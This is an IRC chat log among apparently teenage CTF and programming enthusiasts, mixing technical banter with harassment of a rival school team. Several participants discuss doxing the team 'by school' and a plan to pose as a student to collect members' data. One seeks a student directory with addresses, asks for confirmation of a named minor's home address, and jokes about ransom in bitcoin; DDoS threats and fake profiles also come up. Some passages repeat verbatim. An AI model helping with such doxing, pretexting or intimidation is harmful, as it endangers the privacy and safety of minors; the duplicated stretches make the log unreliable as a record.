[2015-04-26T01:05:05-0400] <Tamini> im sorry jacob
[2015-04-26T01:10:22-0400] <z3t> awe: Yeah but it's harder when they go under a team name and not a specific alias
[2015-04-26T01:10:41-0400] <+awe> You can dox them by school.
[2015-04-26T01:10:45-0400] <+awe> That usually helps.
[2015-04-26T01:11:14-0400] <z3t> 09:09:01 parkinglot | he asked me about ddos prevention and i presume there's a reason for that
[2015-04-26T01:11:19-0400] <z3t> lol
[2015-04-26T01:15:35-0400] <LittleBobbyTables> Gee, I wonder who's fault that is.
[2015-04-26T01:17:51-0400] <z3t> Tamini: is there a my little pony club at TJ?
[2015-04-26T01:17:59-0400] <Tamini> i dont think so?
[2015-04-26T01:18:10-0400] <Tamini> and LOL
[2015-04-26T01:18:11-0400] <z3t> good
[2015-04-26T01:19:40-0400] <z3t> My plan is to go to TJ and claim I am a student, and hold signups for the "My Little Pony" club. I will then have the information of the members of  CMC.
[2015-04-26T01:19:59-0400] <LittleBobbyTables> That will work
[2015-04-26T01:35:03-0400] <+awe> z3t: Brilliant!
[2015-04-26T01:35:50-0400] <+awe> DDOS prevention is hella expensive, but I highly recommend Staminus. I used it to stave off some pretty rough DDOS attacks successfully.
[2015-04-26T01:36:57-0400] <LittleBobbyTables> [Apr 25 2015 10:06:45 UTC] sing_sing: not even a super computer could predict the stupid shit he says daily
[2015-04-26T02:21:56-0400] <Hyper> oh, you guys
[2015-04-26T02:22:07-0400] <Hyper> threatening ddoses on kids
[2015-04-26T02:22:21-0400] <Hyper> tsk tsk
[2015-04-26T02:22:32-0400] <LittleBobbyTables> I didn't do anything
[2015-04-26T02:27:13-0400] <+awe> This is the weirdest thing. GitHub detects this project as being 93% Forth, but when I do a language search on the project for Forth, it shows no results.
[2015-04-26T02:27:30-0400] <+awe> So, why does it consider this project that's entirely Scala to be Forth?
[2015-04-26T02:28:00-0400] <Hyper> awe: github's file detection is janky as fuck
[2015-04-26T02:28:10-0400] <Hyper> and more or less completely based around file extensions
[2015-04-26T02:28:21-0400] <+awe> But there's nothing that meets those file extensions that I see!
[2015-04-26T02:28:56-0400] <LittleBobbyTables> To fuck with you
[2015-04-26T02:29:40-0400] <Hyper> awe: https://github.com/github/linguist
[2015-04-26T02:29:42-0400] <Hyper> see readme
[2015-04-26T02:30:14-0400] <+awe> Did you hear me?
[2015-04-26T02:30:15-0400] <+awe> Click on the name of the language in the stats bar to see a list of the files that are identified as that language.
[2015-04-26T02:30:23-0400] <+awe> "when I do a language search on the project for Forth, it shows no results."
[2015-04-26T02:30:49-0400] <Hyper> oh, I didn't realize that jumped to a search page
[2015-04-26T02:30:50-0400] <Hyper> lol
[2015-04-26T02:31:26-0400] <+awe> Yeah
[2015-04-26T02:31:31-0400] <+awe> That's what I was doing.
[2015-04-26T02:31:54-0400] <+awe> I figured out where the files are.
[2015-04-26T02:32:14-0400] <+awe> It's two ubuntu.fs files where fs means filesystem
[2015-04-26T02:32:25-0400] <+awe> It's just a huge list of all the files on an ubuntu system.
[2015-04-26T02:32:28-0400] <+awe> It's 2 MB.
[2015-04-26T02:32:36-0400] <Hyper> lol
[2015-04-26T02:32:48-0400] <Hyper> why are you committing these things?
[2015-04-26T02:33:31-0400] <+awe> I don't know, man. I don't know.
[2015-04-26T02:33:34-0400] <+awe> I think the tests make use of it.
[2015-04-26T02:33:54-0400] <+awe> We *could* use .gitattributes, but my advisor doesn't like that.
[2015-04-26T02:34:07-0400] <+awe> Someone merged that in before, and he reverted it.
[2015-04-26T02:35:56-0400] <Hyper> like seriously, this is how things are detected https://github.com/github/linguist/blob/master/lib/linguist/languages.yml
[2015-04-26T02:36:07-0400] <Hyper> just matches with things in extensions
[2015-04-26T02:36:45-0400] <Hyper> just a single, 3.6k yaml file
[2015-04-26T02:36:56-0400] <+awe> Yup.
[2015-04-26T02:37:29-0400] <+awe> Vaguely frustrating since I'd much rather it say Scala than Forth.
[2015-04-26T02:38:59-0400] <+awe> Also, unrelated frustration: WHO THOUGHT IT WAS A GOOD IDEA TO USE VAL AND VAR FOR IMMUTABLE AND MUTABLE IDENTIFIERS RESPECTIVELY?
[2015-04-26T02:39:11-0400] <+awe> IT IS SO HARD TO SKIM CODE WHILE BEING AWARE OF MUTABILITY BECAUSE OF THIS.
[2015-04-26T02:39:31-0400] <+awe> DARN YOU, MARTIN ODERSKY.
[2015-04-26T02:40:27-0400] <LittleBobbyTables> Good night, everyone.
[2015-04-26T02:40:53-0400] <bob_twinkles> !s/everyone/america
[2015-04-26T02:41:28-0400] <Hyper> awe: if lack of knowledge of the mutability of variables affects your ability to understand the code negatively, perhaps you should get better at reading code xP
[2015-04-26T02:42:08-0400] <+awe> I mean, it really helps to know when something is mutable and when it's not.
[2015-04-26T03:04:30-0400] <z3t> Tamini: You still up?
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[2015-04-26T03:38:26-0400] <z3t> Any TJ kids still up
[2015-04-26T03:45:21-0400] • bob_twinkles: waves
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[2015-04-26T07:41:15-0400] <Fill> @tell awe I can host a server in Europe. I have a dedicated server from OVH in Roubaix (northern France). I've had it for years - pretty stable. Let me know if you're interested :)
[2015-04-26T07:41:15-0400] <+awebot> Fill: I'll let them know!
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[2015-04-26T10:47:44-0400] <JacobEdelman> Gmorning all
[2015-04-26T12:10:25-0400] <fwilson> fml
[2015-04-26T12:10:34-0400] <fwilson> i spent fifteen minutes looking for a paper from first quarter
[2015-04-26T12:10:39-0400] <fwilson> it was in my syslab web-docs the whole time
[2015-04-26T12:34:34-0400] <Tamini_> lol fwilson
[2015-04-26T12:34:47-0400] <fwilson> now it's time to find the other part...
[2015-04-26T12:35:27-0400] <Tamini_> why are you looking for it?
[2015-04-26T12:35:32-0400] <fwilson> because HUUM
[2015-04-26T12:35:34-0400] <fwilson> *HUM
[2015-04-26T12:35:40-0400] <fwilson> we have to find all our research so far
[2015-04-26T12:39:47-0400] <z3t> Tamini_: I don't like this Alex Sun guy
[2015-04-26T12:46:28-0400] <Tamini_> z3t: what did he do now?
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[2015-04-26T12:50:49-0400] <z3t> 11:18:46 CutieMarkCrusade | the two of you are like those annoying butthurt Sword Art Online fans that flip whenever someone talks trash about it
[2015-04-26T12:51:39-0400] <z3t> I don't say this about many people but: That kid is such a loser.
[2015-04-26T12:52:05-0400] <jwoglom> Lol fwilson why do you need to mess with your archivist report?
[2015-04-26T13:03:50-0400] <Tamini_> lol
[2015-04-26T13:03:54-0400] <Tamini_> two of you?
[2015-04-26T13:04:30-0400] <z3t> (LittleBobbyTable and I)
[2015-04-26T13:06:42-0400] <z3t> Tamini_: is there a TJ student directory with addresses and such
[2015-04-26T13:07:02-0400] <jwoglom> Yes but you're not getting access to it
[2015-04-26T13:08:17-0400] <z3t> hm
[2015-04-26T13:08:29-0400] <Tamini_> ^
[2015-04-26T13:08:34-0400] <z3t> Would you be able to confirm some information I have?
[2015-04-26T13:08:42-0400] <jwoglom> Maybe
[2015-04-26T13:11:38-0400] <jwoglom> z3t: said person does not disclose that information publicly in our system
[2015-04-26T13:12:44-0400] <z3t> what a jerk
[2015-04-26T13:14:28-0400] <jwoglom> How did you find this person's address
[2015-04-26T13:16:51-0400] <z3t> Research
[2015-04-26T13:26:18-0400] <assface> lol
[2015-04-26T13:26:36-0400] <+awe> Fill: the issue is that I want to be the only person able to access the servers on this network.
[2015-04-26T13:26:36-0400] <+awebot> awe: 5 hours ago, Fill said I can host a server in Europe. I have a dedicated server from OVH in Roubaix (northern France). I've had it for years - pretty stable. Let me know if you're interested :).
[2015-04-26T13:26:43-0400] <+awe> Fill: I appreciate the offer though.
[2015-04-26T13:26:45-0400] <assface> it was either LBT or JacobEdelman what I had to givem y full name before they could figure out my address
[2015-04-26T13:26:55-0400] <assface> even then I had to give hints
[2015-04-26T13:27:07-0400] <LittleBobbyTables> It was JacobEdelman 
[2015-04-26T13:27:35-0400] <assface> you guys with long CamelCase names are all the same to me
[2015-04-26T13:27:53-0400] <+awe> assface: that's capitalized camel case, not camel case. :p
[2015-04-26T13:27:58-0400] <alokpathy> Such stereotypical
[2015-04-26T13:28:43-0400] <z3t> I like to think those with 3 letter nicks are the superiors in the channel.
[2015-04-26T13:29:16-0400] <+awe> z3t: I concur entirely. We're great.
[2015-04-26T13:51:45-0400] <LittleBobbyTables> I disagree
[2015-04-26T13:54:56-0400] <+awe> LittleBobbyTables: If it helps, I think you're great, too.
[2015-04-26T13:55:36-0400] <LittleBobbyTables> <
[2015-04-26T13:55:39-0400] <LittleBobbyTables> <3
[2015-04-26T14:16:32-0400] <LittleBobbyTables> Tamini: you here
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[2015-04-26T15:06:36-0400] <+awe> LittleBobbyTables: I need your help with something.
[2015-04-26T15:07:03-0400] <LittleBobbyTables> awe: what do I gain out of it
[2015-04-26T15:07:12-0400] <+awe> I'm not sure.
[2015-04-26T15:07:15-0400] <+awe> The bonus response is a mystery puzzle related to the port number we chose for this assignment (48579). You may optionally send a one word (alphanumeric) message to the server after you send the solution to your problem. If you guess what that word is and how it relates to port 48579 you get a bonus on this assignment!
[2015-04-26T15:09:15-0400] <LittleBobbyTables> hmm
[2015-04-26T15:09:41-0400] <+awe> It's not our class number. I checked that.
[2015-04-26T15:14:07-0400] <+awe> LittleBobbyTables: if it helps, here's the site: http://www-edlab.cs.umass.edu/cs230/hw/csapp/overview/
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[2015-04-26T15:20:24-0400] <JacobEdelman> You know
[2015-04-26T15:21:32-0400] <JacobEdelman> Someone's awesomeness is about equal to [number of vowels in nick]/[number of letters of nick]
[2015-04-26T15:21:53-0400] <jwoglom> /nick aaaa
[2015-04-26T15:21:59-0400] <JacobEdelman> Camel case or three letter nicks have nothing to do with it
[2015-04-26T15:22:15-0400] <JacobEdelman> 😀
[2015-04-26T15:23:48-0400] <kenzierocks> kenzierocks -> eieo = 4 vowels -> 4/11
[2015-04-26T15:24:54-0400] <JacobEdelman> Yup
[2015-04-26T15:25:23-0400] <JacobEdelman> I'm 5/12
[2015-04-26T15:26:09-0400] <JacobEdelman> So our awesome's are too close to call
[2015-04-26T15:30:01-0400] <z3t> 0/3 ;(
[2015-04-26T15:30:15-0400] <z3t> well you said number of letters actually so
[2015-04-26T15:30:17-0400] <z3t> 0/2
[2015-04-26T15:30:47-0400] <jwoglom> 2/7!
[2015-04-26T15:30:55-0400] <Tamini> lolol
[2015-04-26T15:30:57-0400] <Tamini> z3t
[2015-04-26T15:31:06-0400] <z3t> hi
[2015-04-26T15:31:06-0400] <Tamini> cmc is chatting me saything there's "something serious they need to discuss"
[2015-04-26T15:31:08-0400] <jwoglom> 4/11 if i used my full name
[2015-04-26T15:31:13-0400] <Tamini> wat u doin :P
[2015-04-26T15:31:20-0400] <z3t> they postponed their ctf lol
[2015-04-26T15:31:21-0400] <Tamini> also tamini = 3/6 so do i win
[2015-04-26T15:31:26-0400] <jwoglom> are you still doxing them z3t
[2015-04-26T15:31:27-0400] <Tamini> lol, because you scared them?
[2015-04-26T15:31:34-0400] <z3t> whaaa I wouldn't do that jwoglom 
[2015-04-26T15:31:40-0400] <z3t> I suppose Tamini 
[2015-04-26T15:31:47-0400] <z3t> Let me know what they want to discuss
[2015-04-26T15:32:10-0400] <jwoglom> z3t | Alex (Alexander Sun) - ID ******* - Address ****** - are you able to confirm the address
[2015-04-26T15:32:13-0400] <jwoglom> yeah not doxing indeed
[2015-04-26T15:33:14-0400] <z3t> If they are in fact scared, I take negotiations in form of BTC.
[2015-04-26T15:33:32-0400] <jwoglom> "negotiations"
[2015-04-26T15:37:13-0400] kenzierocks is now known as aeiouaeioll
[2015-04-26T15:37:17-0400] <aeiouaeioll> 9/11
[2015-04-26T15:37:22-0400] <aeiouaeioll> :D
[2015-04-26T15:37:27-0400] aeiouaeioll is now known as kenzierocks
[2015-04-26T15:37:53-0400] <LittleBobbyTables> awe: tldr
[2015-04-26T15:38:01-0400] <LittleBobbyTables> awe: they have a server running on that port, and you don't have the source?
[2015-04-26T15:39:49-0400] <z3t> .
[2015-04-26T15:45:05-0400] <LittleBobbyTables> ieoae = 5 vowels, 5/17
[2015-04-26T15:45:10-0400] <LittleBobbyTables> I think that's wrong...
[2015-04-26T15:47:14-0400] <Hyper> awe: recon challenges are almost never fun :(
[2015-04-26T15:47:17-0400] <Hyper> especially dumb ones
[2015-04-26T15:47:26-0400] <LittleBobbyTables> ur a dum 1
[2015-04-26T15:47:31-0400] <z3t> ah recon
[2015-04-26T15:47:35-0400] <z3t> "My name is."
[2015-04-26T15:47:54-0400] <LittleBobbyTables> recon: My name is cptnXn
[2015-04-26T15:48:14-0400] <jwoglom> "My name is Michael Smith."
[2015-04-26T15:48:22-0400] <jwoglom> find the flag!!
[2015-04-26T15:48:25-0400] <Hyper> we're actually organizing an internal ctf for poly and we're trying to come up with good recon challenges
[2015-04-26T15:48:38-0400] <Hyper> but like
[2015-04-26T15:48:54-0400] <Tamini> recon is /very/ hard to make good
[2015-04-26T15:48:56-0400] <Hyper> they're either "Stalk the organizer" type things or "get to place X" tytpe things
[2015-04-26T15:49:13-0400] <Tamini> if it's on-campus
[2015-04-26T15:49:16-0400] <Hyper> it is
[2015-04-26T15:49:18-0400] <Tamini> you might be able to do some fun things
[2015-04-26T15:49:24-0400] <Hyper> that's the goal :P
[2015-04-26T15:49:53-0400] <Hyper> also I'm being told that I can't make all the problems mindnumbingly hard
[2015-04-26T15:49:59-0400] <Hyper> which is dissappointing
[2015-04-26T15:50:08-0400] <alokpathy> Finding parking in Princeton during Communiversity is something no mortal should have to bear.
[2015-04-26T15:50:15-0400] <Tamini> the tjctf 200s were basically
[2015-04-26T15:50:22-0400] <Tamini> "im so stressed out lets make everyone else cry"
[2015-04-26T15:50:26-0400] <Tamini> alokpathy, ?
[2015-04-26T15:50:26-0400] <Hyper> I had a problem where the solution was to shift a matrix by the directions indicated in the lyrics of the chacha slide
[2015-04-26T15:50:33-0400] <Tamini> that's so cool!
[2015-04-26T15:50:33-0400] <Tamini> :P
[2015-04-26T15:50:50-0400] <alokpathy> Tamini: Spent 40 minutes trying to find parking
[2015-04-26T15:50:51-0400] <Hyper> I haven't gotten an actual no on that one
[2015-04-26T15:50:58-0400] <Tamini> :(
[2015-04-26T15:51:01-0400] <LittleBobbyTables> whoa
[2015-04-26T15:51:10-0400] <LittleBobbyTables> if you type
[2015-04-26T15:51:10-0400] <LittleBobbyTables> a pokemons name
[2015-04-26T15:51:10-0400] <LittleBobbyTables> then .com
[2015-04-26T15:51:12-0400] <jwoglom> ha that sounds fun
[2015-04-26T15:51:13-0400] <alokpathy> Tamini: I ended up circling a parking lot until somebody left
[2015-04-26T15:51:19-0400] <LittleBobbyTables> it redirects you to their pokedex link
[2015-04-26T15:51:19-0400] <LittleBobbyTables> for every single one
[2015-04-26T15:51:21-0400] <Tamini> aw
[2015-04-26T15:51:26-0400] <alokpathy> LittleBobbyTables: Wait actually
[2015-04-26T15:51:41-0400] <alokpathy> LittleBobbyTables: Lol that's actually great
[2015-04-26T15:51:58-0400] <LittleBobbyTables> yeah, try it
[2015-04-26T15:52:01-0400] <Hyper> I had another one involving using fastinvsqrt for encryption and I basically got a flat out no on that one ;)
[2015-04-26T15:53:07-0400] <LittleBobbyTables> well for most of them
[2015-04-26T15:53:18-0400] <LittleBobbyTables> mew.com isn't one
[2015-04-26T15:54:12-0400] <alokpathy> LittleBobbyTables: Wait neither raichu nor squirtle worked
[2015-04-26T15:54:24-0400] <alokpathy> Neither did Mewto
[2015-04-26T15:54:26-0400] <alokpathy> >:|
[2015-04-26T15:54:49-0400] <Hyper> well yeah, it's Mewtwo ;)
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[2015-04-26T15:55:06-0400] <Hyper> which does work, I'll add
[2015-04-26T15:55:10-0400] <Hyper> alokpathy: pls
[2015-04-26T15:55:16-0400] <LittleBobbyTables> a lot are actually not working :(
[2015-04-26T15:55:16-0400] <LittleBobbyTables> pikachu does
[2015-04-26T15:55:16-0400] <LittleBobbyTables> and bulbasaur
[2015-04-26T15:55:16-0400] <LittleBobbyTables> and charmander
[2015-04-26T15:55:16-0400] <LittleBobbyTables> blastoise works, though
[2015-04-26T15:55:36-0400] <LittleBobbyTables> mewtwo works
[2015-04-26T15:55:51-0400] <alokpathy> Oopsie
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[2015-04-26T15:56:05-0400] <alokpathy> Hyper: my b :|
[2015-04-26T15:57:43-0400] <Hyper> alokpathy: https://www.youtube.com/watch?v=qdcN_JoktiI
[2015-04-26T16:08:52-0400] <+awe> [15:38:01]  <LittleBobbyTables>	awe: they have a server running on that port, and you don't have the source?
[2015-04-26T16:08:57-0400] <+awe> LittleBobbyTables: yeah, I figured it out.
[2015-04-26T16:09:01-0400] <LittleBobbyTables> What was it
[2015-04-26T16:09:16-0400] <+awe> LittleBobbyTables: 48 is hex for the letter H and 57 is hex for the letter W. The remaining number is 9.
[2015-04-26T16:09:17-0400] <+awe> HW9.
[2015-04-26T16:09:43-0400] <LittleBobbyTables> Is it the ninth assignment
[2015-04-26T16:09:48-0400] <+awe> Yeah.
[2015-04-26T16:09:53-0400] <Hyper> serously?
[2015-04-26T16:10:00-0400] <Hyper> I was expecting something interesting
[2015-04-26T16:10:18-0400] <+awe> Me too.
[2015-04-26T16:11:03-0400] <LittleBobbyTables> That's dumb
[2015-04-26T16:11:12-0400] <Fill> awe: no worries
[2015-04-26T16:12:23-0400] <+awe> [15:33:14]  <z3t>	If they are in fact scared, I take negotiations in form of BTC.
[2015-04-26T16:12:26-0400] <+awe> z3t: well played, my friend.
[2015-04-26T16:13:09-0400] <LittleBobbyTables> It's getting harder to keep up all this pseudonames...
[2015-04-26T16:13:24-0400] <LittleBobbyTables> -s
[2015-04-26T16:14:23-0400] <assface> sudonames
[2015-04-26T16:15:03-0400] <LittleBobbyTables> .....
[2015-04-26T16:16:41-0400] <LittleBobbyTables> I'm some 24 year old named David Parker to this girl from Rhode Island
[2015-04-26T16:16:51-0400] <LittleBobbyTables> I'm somewhat me here
[2015-04-26T16:16:55-0400] <LittleBobbyTables> I need to think of a name to tell CMC
[2015-04-26T16:16:56-0400] <Tamini> ...you aren't? :P
[2015-04-26T16:16:58-0400] <Tamini> um
[2015-04-26T16:17:01-0400] <Tamini> jacob edelman
[2015-04-26T16:17:03-0400] <Tamini> i dare you
[2015-04-26T16:17:03-0400] <Tamini> LOL
[2015-04-26T16:17:11-0400] <LittleBobbyTables> uhh
[2015-04-26T16:17:35-0400] <LittleBobbyTables> I'm in the GMT time zone
[2015-04-26T16:17:55-0400] <LittleBobbyTables> So names near there :P
[2015-04-26T16:25:50-0400] <JacobEdelman> Mortimer snodgr
[2015-04-26T16:25:55-0400] <JacobEdelman> *Snodgrass
[2015-04-26T16:26:05-0400] <JacobEdelman> I dare you
[2015-04-26T16:26:12-0400] <+awe> "I'm somewhat me here"
[2015-04-26T16:26:18-0400] <+awe> LittleBobbyTables: so sekret
[2015-04-26T16:26:55-0400] <LittleBobbyTables> nortimer snodgrass
[2015-04-26T16:26:56-0400] <JacobEdelman> He's himself here
[2015-04-26T16:26:57-0400] <LittleBobbyTables> mortimer*
[2015-04-26T16:27:00-0400] <LittleBobbyTables> so believable.
[2015-04-26T16:27:03-0400] <JacobEdelman> Yes
[2015-04-26T16:27:06-0400] <JacobEdelman> Yes it is
[2015-04-26T16:27:12-0400] <LittleBobbyTables> JacobEdelman: not fully. online persona is different than real life :P
[2015-04-26T16:27:15-0400] <Hyper> LittleBobbyTables: Sven Svenson
[2015-04-26T16:27:40-0400] <LittleBobbyTables> Bimbledick Cumersnatch
[2015-04-26T16:27:50-0400] <JacobEdelman> LittleBobbyTables: make some fake profiles
[2015-04-26T16:28:01-0400] <Hyper> Snoddington Dunsberry
[2015-04-26T16:28:14-0400] <JacobEdelman> And other fake profiles to friend those profiles with
[2015-04-26T16:28:39-0400] <JacobEdelman> Then act offended when they challenge your name
[2015-04-26T16:29:14-0400] <Hyper> "EXCUUUUSE ME, SIR, I COME FROM A LONG AND DISTINGUISHED LINE OF SVENSONS"
[2015-04-26T16:29:31-0400] <Hyper> Imagine that in the most snooty voice you can imagine
[2015-04-26T16:32:41-0400] <JacobEdelman> Lol
[2015-04-26T16:35:49-0400] <JacobEdelman> Wait
[2015-04-26T16:36:28-0400] <JacobEdelman> Hyper: if you do an actual on site CTF, do legit stalk the organizer
[2015-04-26T16:36:46-0400] <JacobEdelman> Like: what am I eating on Wednesday afternoon
[2015-04-26T16:37:05-0400] <JacobEdelman> And they have to find out where you are eating
[2015-04-26T16:37:08-0400] <JacobEdelman> Have a stake out
[2015-04-26T16:37:13-0400] <JacobEdelman> And get photos
[2015-04-26T16:37:16-0400] <Tamini> LOL
[2015-04-26T16:37:18-0400] <JacobEdelman> :P
[2015-04-26T16:37:21-0400] <Tamini> that would be really amusing
[2015-04-26T16:37:29-0400] <JacobEdelman> Yup
[2015-04-26T16:38:07-0400] <JacobEdelman> Imagine a resteraunt full of people in trench coats looking suspiciously at your table
[2015-04-26T16:38:17-0400] <JacobEdelman> :P
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[2015-04-26T16:46:52-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-04-26T16:17:10-0400] <LittleBobbyTables> uhh
[2015-04-26T16:17:35-0400] <LittleBobbyTables> I'm in the GMT time zone
[2015-04-26T16:17:55-0400] <LittleBobbyTables> So names near there :P
[2015-04-26T16:25:50-0400] <JacobEdelman> Mortimer snodgr
[2015-04-26T16:25:55-0400] <JacobEdelman> *Snodgrass
[2015-04-26T16:26:05-0400] <JacobEdelman> I dare you
[2015-04-26T16:26:12-0400] <+awe> "I'm somewhat me here"
[2015-04-26T16:26:18-0400] <+awe> LittleBobbyTables: so sekret
[2015-04-26T16:26:55-0400] <LittleBobbyTables> nortimer snodgrass
[2015-04-26T16:26:55-0400] <JacobEdelman> He's himself here
[2015-04-26T16:26:57-0400] <LittleBobbyTables> mortimer*
[2015-04-26T16:27:00-0400] <LittleBobbyTables> so believable.
[2015-04-26T16:27:03-0400] <JacobEdelman> Yes
[2015-04-26T16:27:06-0400] <JacobEdelman> Yes it is
[2015-04-26T16:27:12-0400] <LittleBobbyTables> JacobEdelman: not fully. online persona is different than real life :P
[2015-04-26T16:27:15-0400] <Hyper> LittleBobbyTables: Sven Svenson
[2015-04-26T16:27:40-0400] <LittleBobbyTables> Bimbledick Cumersnatch
[2015-04-26T16:27:50-0400] <JacobEdelman> LittleBobbyTables: make some fake profiles
[2015-04-26T16:28:00-0400] <Hyper> Snoddington Dunsberry
[2015-04-26T16:28:14-0400] <JacobEdelman> And other fake profiles to friend those profiles with
[2015-04-26T16:28:39-0400] <JacobEdelman> Then act offended when they challenge your name
[2015-04-26T16:29:14-0400] <Hyper> "EXCUUUUSE ME, SIR, I COME FROM A LONG AND DISTINGUISHED LINE OF SVENSONS"
[2015-04-26T16:29:31-0400] <Hyper> Imagine that in the most snooty voice you can imagine
[2015-04-26T16:32:41-0400] <JacobEdelman> Lol
[2015-04-26T16:35:49-0400] <JacobEdelman> Wait
[2015-04-26T16:36:27-0400] <JacobEdelman> Hyper: if you do an actual on site CTF, do legit stalk the organizer
[2015-04-26T16:36:46-0400] <JacobEdelman> Like: what am I eating on Wednesday afternoon
[2015-04-26T16:37:05-0400] <JacobEdelman> And they have to find out where you are eating
[2015-04-26T16:37:08-0400] <JacobEdelman> Have a stake out
[2015-04-26T16:37:13-0400] <JacobEdelman> And get photos
[2015-04-26T16:37:16-0400] <Tamini> LOL
[2015-04-26T16:37:18-0400] <JacobEdelman> :P
[2015-04-26T16:37:21-0400] <Tamini> that would be really amusing
[2015-04-26T16:37:29-0400] <JacobEdelman> Yup
[2015-04-26T16:38:07-0400] <JacobEdelman> Imagine a resteraunt full of people in trench coats looking suspiciously at your table
[2015-04-26T16:38:16-0400] <JacobEdelman> :P
[2015-04-26T16:40:08-0400] <JacobEdelman> Recon 2: Find out what irc channel hyper uses and infiltrate it
[2015-04-26T16:40:28-0400] <JacobEdelman> (That way we can troll them)
[2015-04-26T16:40:33-0400] <Hyper> JacobEdelman: too many irc channels
[2015-04-26T16:40:45-0400] <Hyper> plus my website lists my contact info on freenode ;)
[2015-04-26T16:40:56-0400] <JacobEdelman> Hyper: isn't this your main one by now?
[2015-04-26T16:41:14-0400] <Hyper> I'm pretty equally active on both.
[2015-04-26T16:41:28-0400] <JacobEdelman> Nooooooooo!
[2015-04-26T16:41:38-0400] <Hyper> ;)
[2015-04-26T16:41:58-0400] <JacobEdelman> (To be fair I also have some activity on free node)
[2015-04-26T16:42:17-0400] <JacobEdelman> (Cause I could live without Hardmath)
[2015-04-26T16:42:21-0400] <JacobEdelman> *couldn't
[2015-04-26T16:42:39-0400] <Hyper> hardmath could come back to here ;(
[2015-04-26T16:45:07-0400] <JacobEdelman> He has some scratch friends
[2015-04-26T16:45:17-0400] <JacobEdelman> Who are to smart
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[2015-04-26T16:17:10-0400] <LittleBobbyTables> uhh
[2015-04-26T16:17:35-0400] <LittleBobbyTables> I'm in the GMT time zone
[2015-04-26T16:17:55-0400] <LittleBobbyTables> So names near there :P
[2015-04-26T16:25:50-0400] <JacobEdelman> Mortimer snodgr
[2015-04-26T16:25:55-0400] <JacobEdelman> *Snodgrass
[2015-04-26T16:26:05-0400] <JacobEdelman> I dare you
[2015-04-26T16:26:12-0400] <+awe> "I'm somewhat me here"
[2015-04-26T16:26:18-0400] <+awe> LittleBobbyTables: so sekret
[2015-04-26T16:26:55-0400] <LittleBobbyTables> nortimer snodgrass
[2015-04-26T16:26:55-0400] <JacobEdelman> He's himself here
[2015-04-26T16:26:57-0400] <LittleBobbyTables> mortimer*
[2015-04-26T16:27:00-0400] <LittleBobbyTables> so believable.
[2015-04-26T16:27:03-0400] <JacobEdelman> Yes
[2015-04-26T16:27:06-0400] <JacobEdelman> Yes it is
[2015-04-26T16:27:12-0400] <LittleBobbyTables> JacobEdelman: not fully. online persona is different than real life :P
[2015-04-26T16:27:15-0400] <Hyper> LittleBobbyTables: Sven Svenson
[2015-04-26T16:27:40-0400] <LittleBobbyTables> Bimbledick Cumersnatch
[2015-04-26T16:27:50-0400] <JacobEdelman> LittleBobbyTables: make some fake profiles
[2015-04-26T16:28:00-0400] <Hyper> Snoddington Dunsberry
[2015-04-26T16:28:14-0400] <JacobEdelman> And other fake profiles to friend those profiles with
[2015-04-26T16:28:39-0400] <JacobEdelman> Then act offended when they challenge your name
[2015-04-26T16:29:14-0400] <Hyper> "EXCUUUUSE ME, SIR, I COME FROM A LONG AND DISTINGUISHED LINE OF SVENSONS"
[2015-04-26T16:29:31-0400] <Hyper> Imagine that in the most snooty voice you can imagine
[2015-04-26T16:32:41-0400] <JacobEdelman> Lol
[2015-04-26T16:35:49-0400] <JacobEdelman> Wait
[2015-04-26T16:36:27-0400] <JacobEdelman> Hyper: if you do an actual on site CTF, do legit stalk the organizer
[2015-04-26T16:36:46-0400] <JacobEdelman> Like: what am I eating on Wednesday afternoon
[2015-04-26T16:37:05-0400] <JacobEdelman> And they have to find out where you are eating
[2015-04-26T16:37:08-0400] <JacobEdelman> Have a stake out
[2015-04-26T16:37:13-0400] <JacobEdelman> And get photos
[2015-04-26T16:37:16-0400] <Tamini> LOL
[2015-04-26T16:37:18-0400] <JacobEdelman> :P
[2015-04-26T16:37:21-0400] <Tamini> that would be really amusing
[2015-04-26T16:37:29-0400] <JacobEdelman> Yup
[2015-04-26T16:38:07-0400] <JacobEdelman> Imagine a resteraunt full of people in trench coats looking suspiciously at your table
[2015-04-26T16:38:16-0400] <JacobEdelman> :P
[2015-04-26T16:40:08-0400] <JacobEdelman> Recon 2: Find out what irc channel hyper uses and infiltrate it
[2015-04-26T16:40:28-0400] <JacobEdelman> (That way we can troll them)
[2015-04-26T16:40:33-0400] <Hyper> JacobEdelman: too many irc channels
[2015-04-26T16:40:45-0400] <Hyper> plus my website lists my contact info on freenode ;)
[2015-04-26T16:40:56-0400] <JacobEdelman> Hyper: isn't this your main one by now?
[2015-04-26T16:41:14-0400] <Hyper> I'm pretty equally active on both.
[2015-04-26T16:41:28-0400] <JacobEdelman> Nooooooooo!
[2015-04-26T16:41:38-0400] <Hyper> ;)
[2015-04-26T16:41:58-0400] <JacobEdelman> (To be fair I also have some activity on free node)
[2015-04-26T16:42:17-0400] <JacobEdelman> (Cause I could live without Hardmath)
[2015-04-26T16:42:21-0400] <JacobEdelman> *couldn't
[2015-04-26T16:42:39-0400] <Hyper> hardmath could come back to here ;(
[2015-04-26T16:45:07-0400] <JacobEdelman> He has some scratch friends
[2015-04-26T16:45:17-0400] <JacobEdelman> Who are to smart
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[2015-04-26T16:50:18-0400] <Tamini> why isn't he here? :/
[2015-04-26T16:51:23-0400] <+awe> I do nothing on Freenode.
[2015-04-26T16:51:25-0400] <+awe> I'm in #haskell.
[2015-04-26T16:51:28-0400] <+awe> But I never speak there, really.
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[2015-04-26T17:04:14-0400] <LittleBobbyTables> I'm not active
[2015-04-26T17:15:05-0400] <+awe> alokpathy: It's been like two months since I asked Shannon to do the logo. :p
[2015-04-26T17:16:08-0400] <jwoglom> ask again!
[2015-04-26T17:17:20-0400] <+awe> I ask her a lot. She's making progress-ish.
[2015-04-26T17:18:02-0400] <LittleBobbyTables> Ask again.
[2015-04-26T17:18:12-0400] <+awe> I did.
[2015-04-26T17:18:23-0400] <+awe> She said she got sidetracked by the art teacher getting fired.
[2015-04-26T17:18:30-0400] <LittleBobbyTables> Ask again.
[2015-04-26T17:18:37-0400] <+awe> I literally just asked, LittleBobbyTables.
[2015-04-26T17:18:47-0400] <LittleBobbyTables> Oh, ok.
[2015-04-26T17:24:19-0400] <assface> ask again
[2015-04-26T17:32:48-0400] <alokpathy> awe: I could remind her :P
[2015-04-26T17:32:54-0400] <+awe> I just asked her now.
[2015-04-26T17:42:14-0400] <assface> you should ask again
[2015-04-26T17:42:17-0400] <assface> just to make sure
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[2015-04-26T18:09:14-0400] <Tamini> don't bother parkinglot anymore guys
